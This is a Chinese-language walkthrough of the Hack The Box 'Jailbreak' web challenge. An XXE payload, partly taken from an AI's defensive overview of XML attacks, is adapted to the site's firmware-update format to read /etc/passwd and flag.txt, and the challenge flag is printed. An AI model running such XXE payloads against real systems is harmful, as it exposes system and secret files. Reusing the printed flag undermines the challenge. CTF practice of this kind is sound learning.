Hack The Box(HTB) - CTF Try Out : Jailbreak Walkthrough
Hack The Box(HTB) - CTF Try Out : Jailbreak Walkthrough
終於又有時間了,這一次改玩 Web,靶機資訊如下
名稱 : Jailbreak (越獄)
難度 : 非常簡單
靶機給了一個 IP 與一個 Port,94.237.54.192:45408,開啟來看看
又是個遊戲風的網站
逛了一圈浪費許多時間在最後的 ROM 發現可以使用 XML 的格式上傳更新
且可以直接在網頁中輸入 XML 的內容
這年頭起手式就是餵給 AI,沒那個美國時間自己看,下面是將現有的 XML 內容餵給 AI
請AI 解釋整段給我的結果
這段 XML 是一個 韌體更新設定檔 (FirmwareUpdateConfig),它描述了某裝置或系統進行韌體更新的完整資訊。以下逐層解析:
根元素
<FirmwareUpdateConfig> ... </FirmwareUpdateConfig>
代表這是一個韌體更新的設定檔,裡面包含主要韌體資訊、組件更新內容,以及更新來源網址。
Firmware 區塊
<Firmware>
<Version>1.33.7</Version>
<ReleaseDate>2077-10-21</ReleaseDate>
<Description>Update includes advanced biometric lock functionality for enhanced security.</Description>
<Checksum type="SHA-256">9b74c9897bac770ffc029102a200c5de</Checksum>
</Firmware>
-
Version:韌體主版本號 →
1.33.7
-
ReleaseDate:釋出日期 →
2077-10-21
-
Description:更新說明 → 新增「進階生物辨識鎖定功能」,提升安全性。
-
Checksum (SHA-256):韌體檔案完整性驗證值,確保更新檔未被竄改。
Components 區塊
代表韌體中各個子組件的更新資訊。
1. navigation
<Component name="navigation">
<Version>3.7.2</Version>
<Description>Updated GPS algorithms for improved wasteland navigation.</Description>
<Checksum type="SHA-256">e4d909c290d0fb1ca068ffaddf22cbd0</Checksum>
</Component>
-
功能:導航模組
-
更新內容:更新 GPS 演算法 → 改善「荒原」環境下的導航精準度
-
版本:
3.7.2
-
驗證碼:用來驗證檔案是否正確
2. communication
<Component name="communication">
<Version>4.5.1</Version>
<Description>Enhanced encryption for secure communication channels.</Description>
<Checksum type="SHA-256">88d862aeb067278155c67a6d6c0f3729</Checksum>
</Component>
-
功能:通訊模組
-
更新內容:增強加密機制 → 提升通訊安全
-
版本:
4.5.1
3. biometric_security
<Component name="biometric_security">
<Version>2.0.5</Version>
<Description>Introduces facial recognition and fingerprint scanning for access control.</Description>
<Checksum type="SHA-256">abcdef1234567890abcdef1234567890</Checksum>
</Component>
-
功能:生物辨識安全模組
-
更新內容:新增 臉部辨識與指紋辨識 功能 → 更嚴格的存取控制
-
版本:
2.0.5
UpdateURL
<UpdateURL>https://satellite-updates.hackthebox.org/firmware/1.33.7/download</UpdateURL>
-
提供韌體更新下載的 URL,讓系統能自動或手動下載更新檔。
✅ 總結
這個 XML 定義了一個 韌體版本 1.33.7 的更新資訊,主要亮點是:
-
主系統新增進階生物辨識安全功能
-
導航模組演算法更新 → 更佳定位
-
通訊模組加密強化 → 更安全
-
生物安全模組支援臉部/指紋辨識 → 提升存取控管
-
提供 SHA-256 checksum 驗證檔案完整性
-
指定更新下載來源 URL
下一個問題,直接請 AI 提供利用 XML 上傳的攻擊手法
回答如下 :
以下內容聚焦「可上傳 XML 檔案」情境的常見攻擊手法、衝擊向量與治理建議;用語偏企業資安風格,便於納入內控/稽核與SDL(Secure Development Lifecycle)。
攻擊面總覽(Threat Landscape)
-
上傳入口:REST/GraphQL/SOAP API、檔案上傳(含壓縮檔內含 XML)、表單匯入、SAML/WS-Security 訊息、SVG 圖檔等。
-
解析層:XML Parser(SAX/DOM/StAX)、XSLT/XPath/XQuery 引擎、Schema Validator(DTD/XSD)、反序列化框架(JAXB、Jackson XML)。
-
常見誤設:允許 DTD/外部實體(External Entities)、未限縮解析資源、接受危險協定(file://、http(s)://、gopher://、jar://)、未關閉 XInclude、簽章驗證寬鬆等。
常見攻擊手法與影響
類型 | 手法/描述 | 典型影響 | 前置條件 | 偵測線索 | 主要緩解 |
---|---|---|---|---|---|
XXE(XML External Entity) | 透過 <!DOCTYPE> 與外部實體載入本機/遠端資源 |
資料外洩(/etc/passwd、應用程式設定)、SSRF、服務崩潰 | Parser 允許 DTD/外部實體 | 非預期的內部 DNS/HTTP 連線、Parser 錯誤 | 全面關閉 DTD/外部實體、禁止危險 URI scheme |
Blind XXE / OOB | 看不到回應時,改以 DNS/HTTP 外帶資料 | 隱蔽 exfiltration、內網探測 | 可對外連線 | 異常 DNS query、egress 流量 | egress 控制、DNS 監測、關閉 DTD |
XInclude 注入 | 以 xi:include 引入外部文件 |
讀取機密、繞過存取控制 | 啟用 XInclude | 請求含 xi:include |
停用 XInclude |
XML 實體膨脹(Billion Laughs) | 巢狀實體爆破記憶體/CPU | DoS | 允許 DTD/實體 | 高 CPU/記憶體、GC 壓力 | 關閉 DTD;設定實體/節點/深度上限 |
Quadratic Blowup | 超長實體替換造成解析成本激增 | DoS | 同上 | 延遲飆高 | 同上;限制 token 長度 |
XPath Injection | 在查詢字串中注入表達式 | 授權繞過、資料外洩 | 未做輸入驗證 | 錯誤訊息、回傳筆數異常 | 參數化 XPath、白名單驗證 |
XSLT Injection | 注入樣板導致任意檔案讀取/SSRF/有時 RCE | 機敏讀取、指令執行(依引擎能力) | 動態載入不可信 XSLT | 不尋常的 transform 例外 | 禁止不可信 XSLT;沙箱化引擎 |
反序列化(XML→物件) | 以型別繫結觸發 Gadget Chain | RCE、資料破壞 | 啟用多型/自動型別繫結 | 例外堆疊含可疑類別 | 關閉預設型別解析、型別白名單 |
Schema Poisoning | 惡意 XSD/DTD 變更驗證規則 | 驗證繞過、邏輯缺陷 | 遠端載入 Schema | 非預期 Schema 請求 | 固定本地 Schema、停用外部載入 |
XML Signature Wrapping(WS-Security) | 節點搬移/雙重簽章繞過驗證 | 偽造訊息、授權提升 | 鬆散簽章驗證 | 簽章驗證通過但目標節點變更 | 採用嚴格 ID/Reference 綁定 |
SOAP Action/Body 混淆 | 攻擊 SOAP Envelope/Headers | 業務邏輯繞過 | 使用 SOAP | 例外/審核不一致 | 嚴格 WSDL 驗證、固定端點 |
SVG/Polyglot 濫用 | 將 XML(SVG)偽裝為圖片上傳 | XSS、XXE 鏈結 | 前端預覽或後端解析 | Content-Type/副檔名不一致 | 僅允許位元圖;驗簽/嗅探禁用 |
Zip Slip + XML | 壓縮檔含 XML 與路徑穿越 | 覆寫檔案→後續 XXE/RCE | 允許 zip 上傳 | 解壓路徑異常 | 正規化路徑、禁止相對外洩 |
安全設定基線(Parser Hardening Checklist)
-
關閉 DTD 與外部實體:
disallow-doctype-decl=true
、external-general-entities=false
、external-parameter-entities=false
。 -
停用 XInclude:
XIncludeAware=false
。 -
限制資源:節點深度、最大文件大小、實體展開次數、網路/檔案系統存取一律關閉。
-
固定 Schema 來源:使用內嵌或本地 XSD,拒絕遠端載入。
-
輸入驗證與編碼:對 XPath/XQuery/XSLT 採參數化;內容白名單。
-
反序列化防護:關閉自動型別繫結;啟用安全型別白名單/黑名單;禁用危險轉換器。
-
MIME/副檔名一致性:強制
Content-Type
、副檔名白名單、拒絕內容嗅探。 -
上傳處理隔離:在沙箱(seccomp/AppArmor/容器)處理解析;唯讀檔系存取。
-
Egress 控制:預設拒絕出口連線,阻斷 XXE/SSRF 外帶;DNS Logging。
-
簽章與完整性:SAML/WS-Security 啟用嚴格 ID 綁定與參考驗證。
-
可觀測性:集中式日誌(請求ID)、XML Parser 指標、WAF/IDS 規則(XXE/XInclude/DTD)。
細部範例(安全示意,非攻擊教學)
危險片段(應被拒絕):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<upload><name>&xxe;</name></upload>
治理目標:Parser 應直接拒絕含 DOCTYPE
的文件,或在不解析任何外部實體的前提下當作一般文字處理。
XInclude 片段(應停用):
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///var/app/secret.cfg" parse="text"/>
</root>
測試與稽核(Security Assurance)
-
單元/整合測試:導入安全測試樣本(帶 DOCTYPE、XInclude、超長實體、巨大 XML、錯誤 MIME)。
-
DAST/SAST/SCA:確保掃描規則涵蓋 XXE/XPath/XSLT/反序列化;檢視 Parser 配置。
-
WAF/規則:阻擋
<!DOCTYPE
、xi:include
、可疑協定(file://
、gopher://
、jar://
);限制大文件與慢速上傳(Slowloris 防護)。 -
藍隊監控:建立「XXE 指標板」:拒絕率、DTD 命中、出站 DNS/HTTP 嘗試、解析異常。
-
供應鏈控管:鎖定 XML 相關函式庫版本;啟用 SBOM 與定期漏洞盤點。
快速落地(Actionable Next Steps)
-
盤點所有「會解析 XML」的上傳/匯入路徑,製作 Parser 設定矩陣(框架 × 版本 × 設定值)。
-
以 預設拒絕 原則套用「關閉 DTD/外部實體」與資源上限;對需要 XML 的業務例外走變更流程。
-
建置惡意樣本 CI 測試與 egress 阻擋策略;在 WAF/IDS 佈署 XXE/XInclude 規則。
-
對 SAML/WS-Security 流量進行簽章繫結壓力測試與審計。
-
將上傳解析服務容器化並最小權限運行,啟用唯讀檔系與網段隔離。
那就直接輸入 AI 提供的第一個腳本試試看
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<upload><name>&xxe;</name></upload>
參考原有的 XML 格式加上 "FirmwareUpdateConfig" 如下
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<FirmwareUpdateConfig>
<Firmware>
<Version>&xxe;</Version>
</Firmware>
</FirmwareUpdateConfig>
直接讀到 /etc/passwd 檔案內容
將路徑改成 flag.txt 直接讀到 flag
但該網頁不給我複製,直接 F12 開啟複製
flag : HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_80cd27fe832bdfdea969b2986b792585}
留言
張貼留言